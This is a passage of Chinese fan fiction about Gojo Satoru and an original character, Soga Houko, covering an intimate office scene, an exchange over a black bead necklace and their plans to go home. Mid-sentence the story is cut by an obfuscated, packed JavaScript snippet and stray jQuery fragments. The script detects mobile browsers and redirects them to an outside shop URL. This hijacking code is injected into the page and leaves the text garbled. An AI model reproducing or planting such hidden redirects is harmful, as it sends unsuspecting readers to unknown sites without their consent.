如同揭开蒙面的雕塑,绷带解落的瞬间,好似打破了某种界限。
眼前白蒙蒙的一片骤然融化成一池春水。
绷带散落在地上,最末端却还挂在眼前,明明松散凌乱,可上下缠绕间,却如同一条再紧密不过的纯白锁链,把他们围绕成一体,如同深陷在同一座牢笼。
苏我逢狐停留在他眼前的手微微一动,指尖略过雾凇一样的睫毛,点在眉心,又沿着直挺的鼻梁缓缓下滑,在双唇交缠的上方,鼻梁接触的地方倏然停下。
食指轻勾,挑起最后的一节绷带,接着指节聚拢,轻轻捻起绷带的末端,在半空晃了晃,柔软的绷带在细微的摆动中再次触上了鼻尖。
苏我逢狐似乎是笑了一声,手肘抵在五条悟的肩头,捻着绷带的手掌向外伸去,又在与他眼尾齐平的地方缓缓摊开。
指尖绷带迅速下滑,沿着手指的弧度蹭过他的眼尾,滑到她的小臂,激起轻微的麻痒,然后水一样流淌过他的黑色制服与苏我逢狐金色的衣角,最末端触地时,掀起了一阵轻微地颤动,最终平静地堆积在他们脚边,如同一条盘绕的白蛇。
最后一节绷带的落地如同抽掉了堤坝上最后一块承重的横梁,轰然一声,濒临崩溃的堤坝被彻底冲垮。
五条悟紧紧扣住她的后脑,掌心灼热的温度迅速在脑后蔓延,在唇舌的剧烈交缠中蒸腾出密密的潮热。
“差不多了。”
苏我逢狐平复了一下呼吸,抽出被紧握着的手,靠坐到办公桌边。
扶着她后颈的那双手顿了顿,滑过她的侧颊,又落到侧颈,他随着她的动作往前倾,温热的吐息声压着她的脸侧,又在她坐稳后再度吻上,但没有深入,只是轻轻咬了一下她的唇角。
之后,他深吸了一口气,环身把她整个抱住,头靠在她颈窝,指腹意犹未尽地摩挲着苏我逢狐的脖颈。
传进她耳中的喘气声很重,每一口呼出的热气都像要把苏我逢狐的耳骨融化。
“……也是,放甜品的时间太长了。”他缓缓道。
苏我逢狐抬手揉了揉耳朵,确定它还好好地,没有热得化掉。
“怎么了?”五条悟问道,灼热的呼吸又喷洒上她的手背。
他凑近看向苏我逢狐揉过的地方,笑了一下,指腹轻轻捏住她的耳垂,“好红啊,像颗樱桃。”
羽扇般的睫毛不停扇动,扫到本就已经很敏感的耳垂上。
她本来想起身,却猛然僵住。
耳垂传来更重了湿热和柔软。
五条悟吻在了她的耳垂上。
舌尖轻轻扫过,为那里添上一点水色。
他低首触在那里,便如同含住了一颗自高树垂落的樱桃。
然后,又咬了一下。
五条悟轻笑了一声,如愿听到了耳旁再次加重的呼吸声。
苏我逢狐强忍住翻滚在喉间的喘息,用力捏住五条悟的肩膀,意识已经有些混乱。
在彻底迷乱前,只有一个念头从脑中快速闪过:
酒精饮料的度数还真是低得可怜。
室内开始弥漫出比之前还要浓重的热气。
苏我逢狐躺靠在宽大的椅子上,眼尾被熏出靡丽的红色,朦朦胧胧间,黑色的珠链忽然从颈间滑落,在地上砸出清脆的珠落声。
五条悟动作一顿,从她颈间抬起身准备捞起,手腕却忽然被拉住。
如同在泛着雾气的清晨刚睡醒般,苏我逢狐的声音还带着迷蒙湿润:
“一会儿再戴……猫一样拱来拱去,只会哗啦哗啦乱响……”
苏我逢狐躺在椅子上,用咒力把自己大致清理了一遍后,又摸了摸脖颈,还是觉得粘的厉害。
门响了一声,苏我逢狐抬眼,五条悟从休息室钻了出来,手上层层叠叠地抱着衣服。
他朝她挑了挑眉,抓起一件,唰地在她面前展开。
是一件孔雀蓝的套装。
“这件怎么样?”他问道,“还有一件,是鎏金色的,要展开看看吗?”
“不了,就这件吧。”
她穿衣服的时候,五条悟弯腰把掉在躺椅下的珠链捡了起来,有些嫌弃地在手上颠了颠,“这条链子不好。”
苏我逢狐充耳不闻。
五条悟只好捏着珠链,展开,往她脖子上戴。
珠链压在了头发上,五条悟把她的头发从下面掏出来,锲而不舍地追问:“喜欢黑珍珠项链吗?”
“可以买一条珍珠手链。”苏我逢狐终于开口。
侧颈像是被电了一下,苏我逢狐不由轻“嘶”了一声。
“你现在是狗了,悟。”视线里,脖颈偏下的位置被咬出了一点牙印。
五条悟吻了吻她被咬到的地方,从后面环抱住她,“逢狐,现在是不会被忘记的,不用拼命收集自己存在的证据。”
“我不那么认为。”苏我逢狐转过身,却被搭在脖子上珠链绊了一下,低下头一看,五条悟的手还抓在项链上,他根本没有把它戴上。
她唇角轻勾,皮笑肉不笑,都被咬了一口了,竟然还没戴到脖子上。
“作为惩罚,我帮你戴着这条蜗牛壳怎么样,这样你就可以好好地做狐狸了。”
苏我逢狐蓦地一愣。
他不等苏我逢狐回答,已经先一步把珠链从苏我逢狐脖子上拿走,缠到了自己手腕上。
项链霎时变成了一条男士手串。
黑色珠串收束他的腕骨上,黑白分明。
手腕垂下,又被藏进了黑色袖口。
“还挺好看。”他看向苏我逢狐。
苏我逢狐盯着他的袖口,沉默地看了许久,才终于收回视线,“不要弄丢。”
“我可以每天都拍一张照片发给逢狐,或者早晚各一张,早中晚也完全OK。”
他晃了晃手腕,有些奇怪,“里面不是装了很多东西么,怎么一点都不沉。”说着又凑近仔细看了看,在珠子的外面还附着一层极薄的结界,戴在手上会呈现出接近悬浮的状态,本身的重量会被隔离出去。
“原来已经升级了这么多,不仔细看都看不来,逢狐也太厉害了吧。”
苏我逢狐下巴微微抬起,哼笑了一声,“还行吧。”
“尾巴都要翘起来了。”五条悟笑着捡起落在地上的绷带,把它们揉成一团,扔进垃圾桶,然后又从抽屉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17671819|203869||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
里取出新的,一圈圈往眼睛上覆。
“你怎么不戴眼罩,绷带缠起来太麻烦了。”
“你解得不是很轻松吗?”
五指张开在眼前,苏我逢狐轻轻勾了勾解开绷带的那根手指,眼中眯起一丝笑意,“那倒是,指尖轻轻一挑就掉了。”
“回丰岛?”
五条悟缠好绷带,俯下身理了理她领口处的褶皱。
“嗯。”
“我送你。”
“你下午不是还排得有任务么,我已经发消息给渡边了,她会在校门口等我。”
五条悟把手搭在她身后的椅背上,“那我先送你到校门口。”
“我刚发消息给渡边,她现在恐怕才刚刚出发,现在出去就等于干晒太阳,那可是下午两点的太阳,还是算了。”
“刚出发?那你让她回去吧。我送你,很快。”
苏我逢狐看了他一眼,低头发了个消息。
“一会儿回去做什么?”
“回去洗澡然后吃饭,在这里呆了一中午,午饭都忘了。”
“突然想起来,我也没吃饭。”五条悟弯腰,想把已经和椅子上融为一体的苏我逢狐抱起来,“椅子太小了,陪我一起坐会儿沙发吧。”
“沙发有什么好坐的,还是椅子比较舒服。”苏我逢狐翻身,错开五条悟的手。
“行了,快送我回去,身上黏的又不是你。”
“那么难受吗?直接去我宿舍洗好了。”
“我打算泡澡,宿舍那么小,连个浴缸都摆不开。”苏我逢狐站起身,“早点过去,你说不定还有时间吃上一顿饭。”
“你让人做饭?”五条悟惊讶,不是因为苏我逢狐让人给他做饭,而是因为——
“你竟然让人进家门!”
苏我逢狐对属于自己的东西极为看重,对她来说,楼房如果是自己的,那最好除了她以外,谁都不要进去。
以前吃饭要么是她自己出去吃,要么就是让人送到门口,再或者就是从冰箱里翻几个面包。
现在竟然让人在她的厨房里做饭?
“刚做出来的饭更好吃。只是一楼的厨房而已,也不是不能忍受。”
“是么。”
五条悟笑了笑,可却带着说不出来的牵强。
放在以前他会觉得很新奇,但现在……
他没有说话。
苏我逢狐说过,她会享受死亡的过程,吃饭是死亡进程的一部分。
舒服的泡澡恐怕也算。
那次失控以后,对于苏我逢狐而言,咒灵几乎只剩下了消遣的作用,精神类的咒具和硝子的反转术式只有安抚的效果,解剖和脑科书也聊胜于无。
即便让浅野再练习几十年,也无法像苏我逢狐一样完美地分割灵魂。
不是因为其他,而是因为只有她的术式具有穿透一切缝隙的特质。
可她找不到那条路。
埋在脑中通往灵魂的那条路。
他也在找。
五条悟压住喉头的酸涩,抱起苏我逢狐,“你让人给你的浴缸里放热水了吗?”
“这个我喜欢自己动手。”